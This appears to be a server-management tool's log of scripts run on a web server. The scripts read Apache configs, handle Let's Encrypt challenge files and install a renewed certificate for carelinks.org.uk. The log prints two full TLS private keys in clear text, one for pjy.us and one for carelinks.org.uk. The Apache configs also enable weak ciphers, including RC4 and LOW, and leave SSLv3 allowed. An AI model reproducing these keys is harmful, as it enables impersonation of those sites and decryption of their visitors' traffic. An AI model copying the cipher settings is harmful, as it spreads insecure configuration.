2025-10-27 06:00:24:
chmod 755 /tmp/pkp474894; /tmp/pkp474894; rm /tmp/pkp474894
2025-10-27 06:00:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf 1174
<VirtualHost *:80>
ServerName pjy.us
ServerAdmin do_not_email@example.com
ServerAlias www.pjy.us
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_access.log combined
ErrorLog /var/log/apache2/pjy/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName pjy.us
ServerAlias www.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_secure_access.log combined
ErrorLog /var/log/apache2/pjy/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-27 06:00:24:
PUT: /tmp/pkp399457
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-27 06:00:24:
chmod 755 /tmp/pkp399457; /tmp/pkp399457; rm /tmp/pkp399457
2025-10-27 06:00:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt 5341
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72
-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-27 06:00:24: Establishing a connection
2025-10-27 06:00:24: Establishing a connection
2025-10-27 06:00:24:
PUT: /tmp/pkp721851
#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-27 06:00:25:
chmod 755 /tmp/pkp721851; /tmp/pkp721851; rm /tmp/pkp721851
2025-10-27 06:00:25:
1
2025-10-27 06:00:25: Establishing a connection
2025-10-27 06:00:26:
PUT: /tmp/pkp223492
#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > 75ALRfWeiXMR3TTq7JyQIs-M6Qh1PUdiqbxhlM41QsA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
75ALRfWeiXMR3TTq7JyQIs-M6Qh1PUdiqbxhlM41QsA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 75ALRfWeiXMR3TTq7JyQIs-M6Qh1PUdiqbxhlM41QsA
cat > 875XoF0YqJlc4g7u8c5UhHIYqsygGxN2_xbXwb8KUKc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
875XoF0YqJlc4g7u8c5UhHIYqsygGxN2_xbXwb8KUKc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 875XoF0YqJlc4g7u8c5UhHIYqsygGxN2_xbXwb8KUKc
2025-10-27 06:00:26:
chmod 755 /tmp/pkp223492; /tmp/pkp223492; rm /tmp/pkp223492
2025-10-27 06:00:26:
2025-10-27 06:00:36: Establishing a connection
2025-10-27 06:00:36:
PUT: /tmp/pkp466754
#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm 75ALRfWeiXMR3TTq7JyQIs-M6Qh1PUdiqbxhlM41QsA
rm 875XoF0YqJlc4g7u8c5UhHIYqsygGxN2_xbXwb8KUKc
2025-10-27 06:00:37:
chmod 755 /tmp/pkp466754; /tmp/pkp466754; rm /tmp/pkp466754
2025-10-27 06:00:37:
2025-10-27 06:00:37: Establishing a connection
2025-10-27 06:00:37:
PUT: /tmp/pkp867605
#!/bin/bash
temp_file=$(mktemp)
TARGET=86cfc05b70ff27e9bd43265985e9e664.crt
cat > $temp_file <<'endmsg'
64:34:3f:64:38:d1:e7:12:29:8d:e3:a8:f7:95:0e:21
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBcjgwF6tV3LL71O4OhCH3IVyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI3MDUwMjA2WhcNMjYwMTI1MDUwMjA1WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAnib/5zjqcxH3bNZiOgx/r0v2x2LKJ8UUCJuS2xkUZBXgUdM35mmuzS0GLInL
SANvTNRARWqgVyNZ/RYFbrGpZb169V2vhK3/L2u971xT3ExyJbc/rbZFw7jw6peK
ky03FHVT64Fko+P6zr47TUm8kQEqPo3Zu4sclTXjFgKYikmtGB5cl8kvnnzqEjBt
8kAg8Nmpp5RIiRcaIad8yXeq1QfY68RwC2eLD18Mu3Bqak3/oNtyT1DcX5o4CmH3
2ayStWqOgdPRE4TjDHx0e3DQalReTZAuDRSRNPnWpiIVlNMcp/hF15MEZSipK1qx
T32QFLeYybHGtdItY7UDF090CQIDAQABo4ICOTCCAjUwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT2IJ8fHBevywcV7JDxS2ezgtMphTAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy5vcmcudWuC
FHd3dy5jYXJlbGlua3Mub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1Ud
HwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE1LmNybDCCAQYG
CisGAQQB1nkCBAIEgfcEgfQA8gB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWw
yxTDFFjnAAABmiRBFF8AAAQDAEgwRgIhAK22lcVyHr4s2/We0o4tOZvrg64i9uaS
0Xie3jHYCNerAiEA1jlTO16mLHpTX6iqHiKLtiBDIDuWEYl2TYTbe+pLOncAdwAZ
htTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZokQRRcAAAEAwBIMEYC
IQDKlEgHTE4uu1bhuQcMxBpsPOKuKqhNbjaiyhsUrtAPHAIhALrZ7UWKoNl+RZxf
P9kK63+fC2e4m1tdZWhKB3wh4VK0MA0GCSqGSIb3DQEBCwUAA4IBAQCHnHBRs/9i
csDndbzwlbfw8cJ1ZK+69F9jidcgxgrQ6kxjO6OEmUIbXDgZvQturg2VabU6rMRM
Uh8SMPSUPSNGwJKGyBSKGtaQkvTpqF26/vaBRNC3TF142doWHJuy4uFOpC2ydItZ
dDCTQkH/YoCzSwqnPuUxBl3xy45s0dlhDJ4BxcxR0YBxlgHgMzoFA0iOnRR2ok/X
0BHUIyoI8NeopMB6rnVwAB6ih/xkfanUuRQumaQewC8Z81vMT+Rw3wEgs1rOGtbv
/z70leJUQ4rrZwXiAGPiuinIjP5anRGNmkZC4/SyWKDTBsj0/XQJvlgKXtPf7Mow
ew+A27Qvqa2z
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCeJv/nOOpzEfds
1mI6DH+vS/bHYsonxRQIm5LbGRRkFeBR0zfmaa7NLQYsictIA29M1EBFaqBXI1n9
FgVusallvXr1Xa+Erf8va73vXFPcTHIltz+ttkXDuPDql4qTLTcUdVPrgWSj4/rO
vjtNSbyRASo+jdm7ixyVNeMWApiKSa0YHlyXyS+efOoSMG3yQCDw2amnlEiJFxoh
p3zJd6rVB9jrxHALZ4sPXwy7cGpqTf+g23JPUNxfmjgKYffZrJK1ao6B09EThOMM
fHR7cNBqVF5NkC4NFJE0+damIhWU0xyn+EXXkwRlKKkrWrFPfZAUt5jJsca10i1j
tQMXT3QJAgMBAAECggEAJ43rfOIQSR1aO59Wy9vqZ2ZhXzbHBrFUtF5smV2paurJ
ws1H8tnFvU0geS0xaV5qjNWdCX+EgKa30AOc8jV+/5InWYzH5DA8XZjd1SrLUpLQ
DbzKMWEgC7aKkrG6F9s8JmK9zW38RL01MlYDsO3bOo0HCsQhi7VcPblPhWa6zgMA
j2cu3FJvYBI8L3kzYPTctQaVEqvaWVON5P6HrsPN6tKZ3//AAgCQRVHK9ZiJB81O
lESyYaTC9xlgjnb21SGDyQLwM8kG3EvqTyvM7FfCkryRTuf6nkKieBiiaMupeCZK
KMTFsLn71d4MCTHoSA3s1fwvbGziXAfQfx5Op9y0HQKBgQDQp1esQQBPkqFbxJq5
XEMZrcYaocMo9Las6/bpLrBC8qJEJFsyiNULugWcNAxTtOFtcYxKg/IEkLZFDWkr
bjahF4GfLMXsNiC1eTktppBCtdalckYVR6C9glyfEtwQ8toTeQjGjVpcSJ3V7fVc
6RDrJZQDn2Ur5pkVlG/fKPnOowKBgQDCCgrz0WJIemkFza4mgOZfFetXBu1MasFd
uTB+590GyoIe3ehHlnYJWriZAWjDsSewMbnJiFGa0h45/dae+A0taUPMifcww8vf
z2xB+NXjNScWJzCldRuabfRQBuEWnMKR57+OsoqM6B0HorJ6DnVwaT4koCp7Zv/L
99V9C+j5YwKBgQCb/pBwiwRVeXXDqyBWNqFAAIhcftXut84fSCcIPMywsMAaG+hG
xsApDUGGf+87Yb8r2LmfODhnq11qENWxD6wuEenp/EpZCDq6ElBqTd4K0fIRLXcy
D6QgKudeUnZPAZGC/3lNIH8PAYdnWomXlfP9KdIYR0IXaUbIOHrPJ85j6wKBgE3d
b9W1sWX6UUi15+ulkEyZ5C2xJuqicGQm23Iho02FWEAAtqR7mXRZhnhH232kCpQm
8DISVQT2ypBk74otakRN2Josxxg3igmPGBdFPreFbeDy6w+KdgA7nW27xPmpAF9C
i1k9BmJTBss4m7xlLvVkFj7mUwXgKEf2dSJP9DaXAoGADD+lR/eHisq6A1Lxi8u9
qh2atdj11VPIHWfkrGfXMdNicofP+r3CO/JvVNYvsl/U7OjkROrFRyY0QpPglRRa
cbG9r+L6fi/oD2AAbrWKmdD+E5RUa/oCLnCdD1rAQ0wKH/Y/M4MRZKnlkRWFStp7
zK/LYHeoX/tTQ6WnDDFOKQ4=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-27 06:00:37:
chmod 755 /tmp/pkp867605; /tmp/pkp867605; rm /tmp/pkp867605
2025-10-27 06:00:37:
dir=/etc/ssl/certs
2025-10-27 06:00:37:
PUT: /tmp/pkp105342
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks_www_org-uk.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-27 06:00:37:
chmod 755 /tmp/pkp105342; /tmp/pkp105342; rm /tmp/pkp105342
2025-10-27 06:00:37:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf 44
<VirtualHost *:80>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-27 06:00:37:
PUT: /tmp/pkp604253
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org-uk.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
